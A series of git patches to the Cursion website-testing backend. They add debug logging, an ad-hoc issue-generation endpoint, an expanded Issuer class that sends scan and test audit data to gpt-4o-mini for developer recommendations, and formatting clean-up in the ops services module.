                     page.info['yellowlab'] = None
+                    print(f'updating {page.page_url} with scan.score -> {None}')
 
                 # latest_test info
                 if latest_test:
@@ -548,12 +553,14 @@ def update_site_and_page_info(
                     page.info['latest_test']['time_completed'] = str(latest_test.time_completed)
                     page.info['latest_test']['score'] = (round(latest_test.score * 100) / 100)
                     page.info['latest_test']['status'] = latest_test.status
+                    print(f'updating {p.page_url} with test.score -> {latest_test.score}')
                 if latest_test is None and (resource == 'test' or resource == 'all'):
                     page.info['latest_test']['id'] = None
                     page.info['latest_test']['time_created'] = None
                     page.info['latest_test']['time_completed'] = None
                     page.info['latest_test']['score'] = None
                     page.info['latest_test']['status'] = None
+                    print(f'updating {p.page_url} with test.score -> {None}')
 
                 # save page
                 page.save()

From cf0b787388aaa9e7f99ef7d8084b1d46a27a1886 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Jan 2025 14:44:56 -0700
Subject: [PATCH 0849/1099] fix: removed float type in definitions

---
 app/api/utils/definitions.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/definitions.py b/app/api/utils/definitions.py
index 465fe248..29d3569a 100644
--- a/app/api/utils/definitions.py
+++ b/app/api/utils/definitions.py
@@ -15,7 +15,7 @@
     {
         'name': 'Health',
         'key': 'current_health',
-        'value': 'float(obj.post_scan.score)'
+        'value': 'obj.post_scan.score'
     },
     {
         'name': 'Avg Image Score',
@@ -37,7 +37,7 @@
     {
         'name': 'Health',
         'key': 'health',
-        'value': 'float(obj.score)'
+        'value': 'obj.score'
     },
     {
         'name': 'Error Logs',

From 2a59dc733395f2cea41374ac3f44b3a6f73803f6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Jan 2025 14:48:27 -0700
Subject: [PATCH 0850/1099] feature: adhoc Issue generator

---
 app/api/v1/ops/urls.py  |  1 +
 app/api/v1/ops/views.py | 11 +++++++++++
 2 files changed, 12 insertions(+)

diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index f93e8a0c..25556d7d 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -44,6 +44,7 @@
     path('flowrun/<uuid:id>', views.FlowRunDetail.as_view(), name='flowruns-detail'),
     path('flowruns/zapier', views.FlowRunsZapier.as_view(), name='flowruns-zapier'),
     path('issue', views.Issues.as_view(), name='issue'),
+    path('issue/generate', views.IssueGenerate.as_view(), name='issue-generate'),
     path('issue/search', views.IssuesSearch.as_view(), name='issue-search'),
     path('issue/<uuid:id>', views.IssueDetail.as_view(), name='issue-detail'),
     path('issues/update', views.IssuesUpdate.as_view(), name='issues-update'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index f0a1d180..aa078c50 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -738,6 +738,17 @@ def get(self, request):
 
 
 
+class IssueGenerate(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = generate_issue(request)        
+        return response
+
+
+
+
 class IssuesSearch(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get']

From 715fb36e687582f2da6402fac0010976f8f00b3d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Jan 2025 14:49:28 -0700
Subject: [PATCH 0851/1099] feature: Issuer expanded for more data ingest

---
 app/api/utils/issuer.py | 601 +++++++++++++++++++++++++++++++---------
 1 file changed, 464 insertions(+), 137 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 2f494dfc..ebab7d43 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -1,7 +1,8 @@
 from ..models import *
 from cursion import settings
 from openai import OpenAI
-import time, os, json, uuid, random, boto3
+import time, os, json, uuid, \
+    random, boto3, re, requests
 
 
 
@@ -13,8 +14,10 @@ class Issuer():
     Generate new `Issue` for the passed 'test' or 'caserun'.
 
     Expects: {
-        'test'    : object,
-        'caserun' : object,
+        'scan'      : object
+        'test'      : object,
+        'caserun'   : object,
+        'threshold' : int
     }
 
     Use `Issuer.build_issue()` to generate new `Issue`
@@ -26,14 +29,30 @@ class Issuer():
 
 
     def __init__(
-            self, 
-            test: object=None,
-            caserun: object=None,
+            self,
+            scan        : object=None, 
+            test        : object=None,
+            caserun     : object=None,
+            threshold   : int=75
         ):
          
         # main objects
-        self.test = test
-        self.caserun = caserun
+        self.scan       = scan
+        self.test       = test
+        self.caserun    = caserun
+        self.object     = None
+        self.type       = None
+        self.threshold  = test.threshold if test else threshold
+
+        # top level vars
+        self.title     = None
+        self.details   = None
+        self.data      = None
+        self.labels    = None
+        self.account   = None
+        self.trigger   = { 'type': None, 'id': None }
+        self.affected  = { 'type': None, 'id': None, 'str': None}
+        self.max_len   = 200
         
         # init GPT client
         self.gpt_client = OpenAI(
@@ -41,8 +60,63 @@ def __init__(
         )
 
 
+
+
+    def convert_key(self, key: str=None) -> str:
+        """ 
+        Converts the passed camel case or 
+        snake case str into a spaced str with 
+        each word capitalized
+
+        Expects: {
+            key: str
+        }
+
+        Returns -> str
+        """
+
+        # remove "_delta"
+        key = key.replace('_delta', '')
+
+        # convert from camelCase
+        key = re.sub(r"([a-z])([A-Z])", r"\1 \2", key)
+
+        # convert snake_case
+        key = key.replace('_', ' ')
+
+        # capitalize
+        key = key.title()
+
+        return key
+
+
     
 
+    def clean_recommendation(self, recommendation: str=None) -> str:
+        """ 
+        Replaces URLs with correct URLs
+
+        Expcets: {
+            'recommendation': str
+        }
+
+        Returns -> str
+        """
+        # clean client URI
+        client_uri = settings.CLIENT_URL_ROOT.split('://')[1]
+
+        # repalce URI
+        recommendation = recommendation.replace(
+            'localhost', 
+            client_uri
+        )
+
+        # return clean recommendation
+        return recommendation
+
+
+
+
     def build_issue(self):
         """ 
         Creates a new `Issue` based on the info 
@@ -54,155 +128,372 @@ def build_issue(self):
         """
 
         # defining top level attrs
-        title = None
-        details = None
-        labels = None
-        account = self.test.page.account if self.test else self.caserun.account
-        trigger = {
-            'type': 'test' if self.test else 'caserun', 
-            'id': str(self.test.id) if self.test else str(self.caserun.id)
+        
+
+        # deciding on type
+        self.obj = self.scan or self.test or self.caserun
+        self.type = 'scan' if self.scan else 'test' if self.test else 'caserun'
+
+        # define account
+        self.account = self.obj.site.account
+
+        # update triggers & affected
+        self.trigger = {
+            'type'  : self.type, 
+            'id'    : str(self.obj.id)
         }
-        affected = {
-            'type': 'page' if self.test else 'site',
-            'id': str(self.test.page.id) if self.test else str(self.caserun.site.id),
-            'str': self.test.page.page_url if self.test else self.caserun.site.site_url
+        self.affected = {
+            'type'  : 'site' if self.caserun else 'page',
+            'id'    : str(self.obj.site.id) if self.caserun else str(self.obj.page.id),
+            'str'   : self.obj.site.site_url if self.caserun else self.obj.page.page_url
         }
 
-        # defining detail components 
-        intro = ''
-        main_issue = ''
-        recommendation = ''
-
-        # building details, title, & labels 
-        # for caserun failure
+        # building details, title, & recomemdations
+        # for Scan performance & log data
+        if self.scan:
+            self._handle_scan()
+        
+        # building details, title, & 
+        # recomemdations for test failure
+        if self.test:
+            self._handle_test()
+            
+        # building details, title, & 
+        # recomemdations for caserun failure
         if self.caserun:
+            self._handle_caserun()
 
-            # get first step that failed in caserun
-            failed_step = None
-            step_index = 0
-            step_type = 'action'
-            for step in self.caserun.steps:
-                step_index += 1
-                if step['action']['status'] == 'failed':
-                    failed_step = step
-                    step_type = 'action'
-                    break
-                if step['assertion']['status'] == 'failed':
-                    failed_step = step
-                    step_type = 'assertion'
-                    break
-
-            # build title
-            title = f'Case Run "{self.caserun.title}" Failed'
-
-            # build intro
-            intro = str(
-                f'### Case Run [{self.caserun.title}]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]})' + 
-                f' failed on **Step {step_index}**, `{failed_step[step_type]["type"]}`.\n\n\n' +
-                f' > Affected Site: [{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]})\n\n\n'
-            )
-            
-            # build main_issue
-            main_issue = str(
-                f'### Main Issue or Exception:\n' + 
-                f' ```shell\n{failed_step[step_type]["exception"]}\n``` \n\n' +
-                f' [View Image]({failed_step[step_type]["image"]})\n\n'
-            )
+        # build recommendation
+        response = self.build_recommendation()
+
+        recommendation = str(
+            f'\n\n### Recommendations:\n' +
+            f'{response}'
+        )
+        
+        # clean recommendation
+        recommendation = self.clean_recommendation(recommendation)
+
+        # build details from components
+        self.details = self.details + recommendation
+
+        # creating new Issue
+        issue = Issue.objects.create(
+            account  = self.account,
+            title    = self.title,
+            details  = self.details,
+            labels   = self.labels, 
+            trigger  = self.trigger,
+            affected = self.affected
+        )
+        
+        # new Issue
+        return issue
+
+
+
+
+    def _handle_scan(self) -> None:
+        """ 
+        Handles data collection for a scan
+
+        Expcets: None
+
+        Returns: None
+        """
 
-            # build recommendation
-            response = self.build_recommendation(
-                details = str(intro + main_issue)
+        # defaults for data categorization
+        cats    = []
+        comps   = []
+        lh      = []
+        yl      = []
+        logs    = []
+
+        # get raw audits
+        lh_audits = requests.get(self.scan.lighthouse.get('audits')).json() if self.scan.lighthouse.get('audits') else ''
+        yl_audits = requests.get(self.scan.yellowlab.get('audits')).json() if self.scan.yellowlab.get('audits') else ''
+
+        # include logs
+        if len(self.scan.logs) > 0:
+            cats.append({
+                'key'   : 'logs',
+                'name'  : 'Console Issues',
+                'value' : str(len(self.scan.logs))
+            })
+            comps.append('Console')
+            logs = self.scan.logs
+
+        # include lighthouse 
+        if self.scan.lighthouse.get('audits'):
+            for key in self.scan.lighthouse.get('scores'):
+                if key != 'average' and key != 'crux':
+                    if int(self.scan.lighthouse.get('scores')[key]) < self.threshold:
+                        # include LH categories
+                        cats.append({
+                            'key'   : key,
+                            'name'  : f"{self.convert_key(key)} (lighthouse)",
+                            'value' : f"{self.scan.lighthouse.get('scores')[key]}%"
+                        }) 
+                        # update str for title
+                        if not any('Performance' in i for i in comps):
+                            comps.append('& Performance' if 'Console' in comps else 'Performance')
+                        # save audits
+                        lh.append({
+                            key: lh_audits.get(key)
+                        })
+
+        # include yellowlab 
+        if self.scan.yellowlab.get('audits'):
+            for key in self.scan.yellowlab.get('scores'):
+                if key != 'globalScore':
+                    if int(self.scan.yellowlab.get('scores')[key]) < self.threshold:
+                        # include YL categories
+                        cats.append({
+                            'key'   : key,
+                            'name'  : f"{self.convert_key(key)} (yellowlab)",
+                            'value' : f"{self.scan.yellowlab.get('scores')[key]}%"
+                        })
+                        # update str for title
+                        if not any('Performance' in i for i in comps):
+                            comps.append('& Performance' if 'Console' in comps else 'Performance')
+                        # save audits
+                        yl.append({
+                            key: yl_audits.get(key)
+                        })
+
+        # build title
+        self.title = f'Scan found {' '.join(comps)} Issues'
+
+        # build intro
+        intro = str(
+            f'[Scan]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]}) for the page ' + 
+            f'[{self.affected["str"]}]({settings.CLIENT_URL_ROOT}/{self.affected["type"]}/{self.affected["id"]}) ' + 
+            f'contains {' '.join(comps)} issues.\n\n\n'
+        )
+
+        # build components str
+        comp_str = str('| Component | Value |\n|:-----|-----:|')
+        for item in cats:
+            comp_str += f'\n| {item.get('name')} | {item.get('value')} |'
+
+        # build main_issue
+        main_issue = str(
+            f'### Failing Components:\n' + 
+            f'{comp_str}'
+        )
+
+        # combine into details
+        self.details = str(intro + main_issue)
+
+        # build & format data for AI
+        self.data = f'\n\n------------\n\n'
+        if len(logs) > 0:
+            self.max_len += 50
+            self.data += str(
+                f'\n\n\nBrowser Console Errors and Warnings:' +
+                f'\n{logs}'
             )
-            recommendation = str(
-                f'\n\n### Recommendations:\n' +
-                f'{response}'
+        if len(lh) > 0:
+            self.max_len += 50
+            self.data += str(
+                f'\n\n\nAudit data from Google Lighthouse:' +
+                f'\n{lh}'
             )
+        if len(yl) > 0:
+            self.max_len += 50
+            self.data += str(
+                f'\n\n\nAudit data from YellowLab Tools:' +
+                f'\n{yl}'
+            )
+        self.data += f'\n\n------------\n\n'
 
-        # building details, title, & labels 
-        # for test failure
-        if self.test:
 
-            # grabbing component scores
-            # which were less than the test.threshold
-            ordered_scores = []
-            for key in self.test.component_scores:
-                if self.test.component_scores[key] is not None:
-                    if self.test.component_scores[key] < self.test.threshold:
-                        ordered_scores.append({key: self.test.component_scores[key]})
-
-            # build components str
-            comp_str = str('| Component | Score |\n|:-----|-----:|')
-            for score in ordered_scores:
-                for key in score:
-                    comp_str += f'\n| {key} | {round(score[key], 2)} |'
-
-            # adjusting component names in table
-            comp_str = comp_str.replace(
-                    'vrt', 
-                    'visual regression (vrt)'
-                ).replace(
-                    'html', 
-                    'html regression (html)'
-                )
-
-            # build title
-            title = f'Test Failed at {round(self.test.score, 2)}%'
-
-            # build intro
-            intro = str(
-                f'[Test]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]}) failed for the page ' + 
-                f'[{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]}) ' + 
-                f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n\n\n'
-            )
 
-            # build main_issue
-            main_issue = str(
-                f'### Failing Components:\n' + 
-                f'{comp_str}'
+
+    def _handle_test(self) -> None:
+        """ 
+        Handles data collection for a test
+
+        Expcets: None
+
+        Returns: None
+        """
+
+        # defaults
+        lh        = []
+        yl        = []
+        logs      = []
+        vrt       = {}
+        lh_audits = ''
+        yl_audits = ''
+
+        # get post_logs_delta
+        logs = self.test.logs_delta.get('post_logs_delta') if self.test.logs_delta else []
+
+        # get raw audits
+        if self.test.lighthouse_delta:
+            lh_audits = requests.get(self.test.lighthouse_delta.get('audits')).json() if self.test.lighthouse_delta.get('audits') else ''
+        if self.test.yellowlab_delta:
+            yl_audits = requests.get(self.test.yellowlab_delta.get('audits')).json() if self.test.yellowlab_delta.get('audits') else ''
+
+        # record only audits from LH components
+        # that had negative scores
+        if self.test.lighthouse_delta.get('audits'):
+            if self.test.component_scores.get('lighthouse') < self.threshold:
+                for key in self.test.lighthouse_delta.get('scores'):
+                    if 'average' not in key and 'crux' not in key:
+                        if self.test.lighthouse_delta.get('scores')[key] < 0:
+                            key = key.replace('_delta', '')
+                            lh.append({
+                                key: lh_audits.get(key)
+                            }) 
+        
+        # record only audits from YL components
+        # that had negative scores
+        if self.test.yellowlab_delta.get('audits'):
+            if self.test.component_scores.get('yellowlab') < self.threshold:
+                for key in self.test.yellowlab_delta.get('scores'):
+                    if 'average' not in key:
+                        if self.test.yellowlab_delta.get('scores')[key] < 0:
+                            key = key.replace('_delta', '')
+                            yl.append({
+                                key: yl_audits.get(key)
+                            }) 
+
+        # record any information about VRT
+        if 'vrt' in self.test.type:
+            vrt['similarity_score'] = self.test.component_scores.get('vrt')
+            vrt['summary'] = self.test.images_delta.get('summary')
+            vrt['broken'] = self.test.images_delta.get('broken')
+
+        # grabbing component scores
+        # which were less than the test.threshold
+        ordered_scores = []
+        for key in self.test.component_scores:
+            if self.test.component_scores[key] is not None:
+                if self.test.component_scores[key] < self.test.threshold:
+                    ordered_scores.append({key: self.test.component_scores[key]})
+
+        # build components str
+        comp_str = str('| Component | Score |\n|:-----|-----:|')
+        for score in ordered_scores:
+            for key in score:
+                comp_str += f'\n| {key} | {round(score[key], 2)} |'
+
+        # adjusting component names in table
+        comp_str = comp_str.replace(
+                'vrt', 
+                'visual regression (vrt)'
+            ).replace(
+                'html', 
+                'html regression (html)'
             )
 
-            # build recommendation
-            response = self.build_recommendation(
-                details = str(intro + main_issue)
+        # build title
+        self.title = f'Test Failed at {round(self.test.score, 2)}%'
+
+        # build intro
+        intro = str(
+            f'[Test]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]}) failed for the page ' + 
+            f'[{self.affected["str"]}]({settings.CLIENT_URL_ROOT}/{self.affected["type"]}/{self.affected["id"]}) ' + 
+            f'based on the set threshold of **{round(self.test.threshold, 2)}%**.\n\n\n'
+        )
+
+        # build main_issue
+        main_issue = str(
+            f'### Failing Components:\n' + 
+            f'{comp_str}'
+        )
+
+        # combine into details
+        self.details = str(intro + main_issue)
+
+        # build & format data for AI
+        self.data = f'\n\n------------\n\n'
+        if len(logs) > 0:
+            self.max_len += 50
+            self.data += str(
+                f'\n\n\nBrowser Console Errors and Warnings:' +
+                f'\n{logs}'
             )
-            recommendation = str(
-                f'\n\n### Recommendations:\n' +
-                f'{response}'
+        if len(lh) > 0:
+            self.max_len += 50
+            self.data += str(
+                f'\n\n\nAudit data from Google Lighthouse:' +
+                f'\n{lh}'
             )
-        
-        # clean recommendation
-        recommendation = recommendation.replace('localhost', 'app.cursion.dev')
+        if len(yl) > 0:
+            self.max_len += 50
+            self.data += str(
+                f'\n\n\nAudit data from YellowLab Tools:' +
+                f'\n{yl}'
+            )
+        if len(vrt) > 0:
+            self.max_len += 50
+            self.data += str(
+                f'\n\n\nVisual Regression Data:' +
+                f'\n{vrt}'
+            )
+        self.data += f'\n\n------------\n\n'
 
-        # build details from components
-        details = intro + main_issue + recommendation
 
-        # creating new Issue
-        issue = Issue.objects.create(
-            account  = account,
-            title    = title,
-            details  = details,
-            labels   = labels, 
-            trigger  = trigger,
-            affected = affected
+
+
+    def _handle_caserun(self) -> None:
+        """ 
+        Handles data collection for a caserun
+
+        Expcets: None
+
+        Returns: None
+        """
+        # get first step that failed in caserun
+        failed_step = None
+        step_index = 0
+        step_type = 'action'
+        for step in self.caserun.steps:
+            step_index += 1
+            if step['action']['status'] == 'failed':
+                failed_step = step
+                step_type = 'action'
+                break
+            if step['assertion']['status'] == 'failed':
+                failed_step = step
+                step_type = 'assertion'
+                break
+
+        # build title
+        self.title = f'Case Run "{self.caserun.title}" Failed'
+
+        # build intro
+        intro = str(
+            f'### Case Run [{self.caserun.title}]({settings.CLIENT_URL_ROOT}/{self.trigger["type"]}/{self.trigger["id"]})' + 
+            f' failed on **Step {step_index}**, `{failed_step[step_type]["type"]}`.\n\n\n' +
+            f' > Affected Site: [{self.affected["str"]}]({settings.CLIENT_URL_ROOT}/{self.affected["type"]}/{self.affected["id"]})\n\n\n'
         )
         
-        # new Issue
-        return issue
+        # build main_issue
+        main_issue = str(
+            f'### Main Issue or Exception:\n' + 
+            f' ```shell\n{failed_step[step_type]["exception"]}\n``` \n\n' +
+            f' [View Image]({failed_step[step_type]["image"]})\n\n'
+        )
+
+        # combine into details
+        self.details = str(intro + main_issue)
+
+        # no extra data yet 
+        self.data = None
 
 
 
 
-    def build_recommendation(
-            self, 
-            details: str=None,
-        ) -> str:
+    def build_recommendation(self) -> str:
         """ 
         Using OpenAI's Chat GPT, composes a personalized 
         `recommendation` for the primary `Issue` being created. 
 
-        Expects: {
-            'details' : str,
-        }
+        Expects: None
 
         Returns -> str    
         """
@@ -211,8 +502,8 @@ def build_recommendation(
         recommendation = ''
 
         # building recommendation
-        # for self.test
-        if self.test:
+        # for self.scan
+        if self.scan:
             
             # send the initial request
             recommendation = self.gpt_client.chat.completions.create(
@@ -221,19 +512,54 @@ def build_recommendation(
                     {
                         "role": "user", 
                         "content": f"Create a recommendation for developers \
-                            baseded on this generated issue: '\n\n{details}\n\n'. \
+                            baseded on this generated issue: '\n\n{self.details}\n\n'. \
+                            Below is output data from the Scan to help you identify potential recommendations: {self.data} \
+                            If possible, include reference to any files, scripts, images, etc. which should be addressed based on the provided data. \
+                            Prioritize recommendations based on highest impact to the performance and security of the web page. \
+                            Format each recommendation with markdown. \
+                            Begin each recommendation with '- [ ]' to format as a task. \
+                            Omit the title or header in your response. \
+                            Omit any summary after the recommendations. \
+                            Remove any disclaimer or note section. \
+                            Remove any reference to 'Test Cases'. \
+                            Remove and reference to 'visual comparison tools'. \
+                            Max Length of Response: {self.max_len} words. \
+                            Tone: Instructive"
+                    },
+                ]
+            ).choices[0].message.content
+        
+
+        # building recommendation
+        # for self.test
+        if self.test:
+            
+            # send the initial request
+            recommendation = self.gpt_client.chat.completions.create(
+                model="gpt-4o-mini",
+                messages=[
+                    {
+                        "role": "user",
+                        "content": f"Create a recommendation for developers \
+                            baseded on this generated issue: '\n\n{self.details}\n\n'. \
                             The components are portions of a regression test of a website. \
+                            Below is output data from the Test to help you identify potential \
+                            recommendations for performance, browser logs, and visual regressions: {self.data} \
+                            If possible, include reference to any files, scripts, etc. \
+                            which should be addressed based on the provided data. \
                             Format each recommendation with markdown. \
                             Begin each recommendation with '- [ ]' to format as a task. \
                             Omit the title or header in your response. \
+                            Omit any summary after the recommendations. \
                             Remove any disclaimer or note section. \
                             Remove any reference to 'Test Cases'. \
                             Remove and reference to 'visual comparison tools'. \
-                            Max Length of Response: 170 words. \
+                            Max Length of Response: {self.max_len} words. \
                             Tone: Instructive"
                     },
                 ]
             ).choices[0].message.content
+
         
         # building recommendation
         # for self.caserun
@@ -241,20 +567,21 @@ def build_recommendation(
 
             # send the initial request
             recommendation = self.gpt_client.chat.completions.create(
-                model="gpt-4o-mini", # old model -> gpt-3.5-turbo
+                model="gpt-4o-mini",
                 messages=[
                     {
                         "role": "user", 
                         "content": f"Create a recommendation for developers \
-                            baseded on this generated issue: '\n\n{details}\n\n'. \
+                            baseded on this generated issue: '\n\n{self.details}\n\n'. \
                             Format each recommendation with markdown. \
                             Begin each recommendation with '- [ ]' to format as a task. \
+                            Omit any summary after the recommendations. \
                             Omit the title or header in your response. \
                             Omit any links in your response. \
                             Remove any disclaimer or notes section. \
                             Remove any reference to selenium documentation. \
                             Remove any reference of 'alternative selector strategies'. \
-                            Max Length of Response: 170 words. \
+                            Max Length of Response: {self.max_len} words. \
                             Tone: Instructive"
                     },
                 ]

From bb2b37da751955bd76117bf450f65d96c78b7572 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 30 Jan 2025 14:50:22 -0700
Subject: [PATCH 0852/1099] multi: clean-up, issue gen, schedule freq

---
 app/api/v1/ops/services.py | 472 +++++++++++++++++++++++--------------
 1 file changed, 301 insertions(+), 171 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index a786f44f..f93dd2f8 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -15,6 +15,7 @@
 from ...models import *
 from ...utils.reporter import Reporter as R
 from ...utils.devices import devices
+from ...utils.issuer import Issuer
 from datetime import datetime, timedelta, timezone as timezone
 import json, boto3, asyncio, os, requests, uuid, secrets
 
@@ -425,7 +426,7 @@ def create_site(request: object=None) -> object:
     if site_url.endswith('/'):
         site_url = site_url.rstrip('/')
     if site_url is None or site_url == '':
-        data = {'reason': 'the site_url cannot be empty',}
+        data = {'reason': 'the site_url cannot be empty'}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
@@ -435,7 +436,7 @@ def create_site(request: object=None) -> object:
         url=site_url
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -510,7 +511,7 @@ def create_site(request: object=None) -> object:
             )
             
     # serialize response and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = SiteSerializer(site, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '201')
@@ -550,7 +551,7 @@ def crawl_site(request: object=None, id: str=None, user: object=None) -> object:
         id=id, id_type='site'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -566,7 +567,7 @@ def crawl_site(request: object=None, id: str=None, user: object=None) -> object:
 
     # serializing and returning
     if request:
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = SiteSerializer(site, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '201')
@@ -604,7 +605,7 @@ def get_sites(request: object=None) -> object:
             member=member, resource='site', action='get', id=site_id, id_type='site'
         )
         if not check_data['allowed']:
-            data = {'reason': check_data['error'],}
+            data = {'reason': check_data['error']}
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
         
@@ -612,7 +613,7 @@ def get_sites(request: object=None) -> object:
         site = Site.objects.get(id=site_id)
 
         # serialize single site response and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = SiteSerializer(site, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -629,7 +630,7 @@ def get_sites(request: object=None) -> object:
     # serialize response and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(sites, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = SiteSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -661,7 +662,7 @@ def get_site(request: object=None, id: str=None) -> object:
         id=id, id_type='site'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -669,7 +670,7 @@ def get_site(request: object=None, id: str=None) -> object:
     site = Site.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = SiteSerializer(site, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -703,7 +704,7 @@ def delete_site(request: object=None, id: str=None, user: object=None) -> object
         action='delete', id=id, id_type='site'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         if request:
             record_api_call(request, data, check_data['code'])
             return Response(data, status=check_data['status'])
@@ -741,7 +742,7 @@ def delete_site(request: object=None, id: str=None, user: object=None) -> object
         update_sub_price.delay(account_id=account.id)
 
     # returning response
-    data = {'message': 'site deleted',}
+    data = {'message': 'site deleted'}
     if request:
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
@@ -854,7 +855,7 @@ def get_sites_zapier(request: object=None) -> object:
         member=member, resource=resource, action='get',
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         return Response(data, status=check_data['status'])
 
     # get all account assocoiated sites
@@ -933,7 +934,7 @@ def create_page(request: object=None) -> object:
     if page_url.endswith('/'):
         page_url = page_url.rstrip('/')
     if page_url is None or page_url == '':
-        data = {'reason': 'the page_url cannot be empty',}
+        data = {'reason': 'the page_url cannot be empty'}
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
@@ -943,7 +944,7 @@ def create_page(request: object=None) -> object:
         id=site_id, id_type='site', url=page_url,
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -974,7 +975,7 @@ def create_page(request: object=None) -> object:
         scan_page_bg.delay(scan_id=scan.id, configs=configs)
       
     # serialize response and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = PageSerializer(page, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '201')
@@ -1021,7 +1022,7 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
         id=site_id, id_type='site'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         if http_response:
             return Response(data, status=check_data['status'])
@@ -1030,7 +1031,7 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
     # pre check for max_pages
     if (pages.count() + len(page_urls)) > account.usage['pages_allowed']:
         print('max pages reached')
-        data = {'reason': 'max pages reached',}
+        data = {'reason': 'max pages reached'}
         record_api_call(request, data, '402')
         if http_response:
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1152,7 +1153,7 @@ def get_pages(request: object=None) -> object:
         id_type=('site' if site_id else 'page')
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
     
@@ -1163,7 +1164,7 @@ def get_pages(request: object=None) -> object:
         page = Page.objects.get(id=page_id)
 
         # serialize and return
-        serializer_context = {'request': request,}
+        serializer_context = {'request': request}
         serialized = PageSerializer(page, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
@@ -1176,7 +1177,7 @@ def get_pages(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(pages, request)
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = PageSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -1208,7 +1209,7 @@ def get_page(request: object=None, id: str=None) -> object:
         id=id, id_type='page'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
@@ -1216,7 +1217,7 @@ def get_page(request: object=None, id: str=None) -> object:
     page = Page.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request,}
+    serializer_context = {'request': request}
     serialized = PageSerializer(page, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
@@ -1249,7 +1250,7 @@ def delete_page(request: object=None, id: str=None, user: object=None) -> object
         action='delete', id=id, id_type='page'
     )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'],}
+        data = {'reason': check_data['error']}
         print(data)
         if request:
             record_api_call(request, data, check_data['code'])
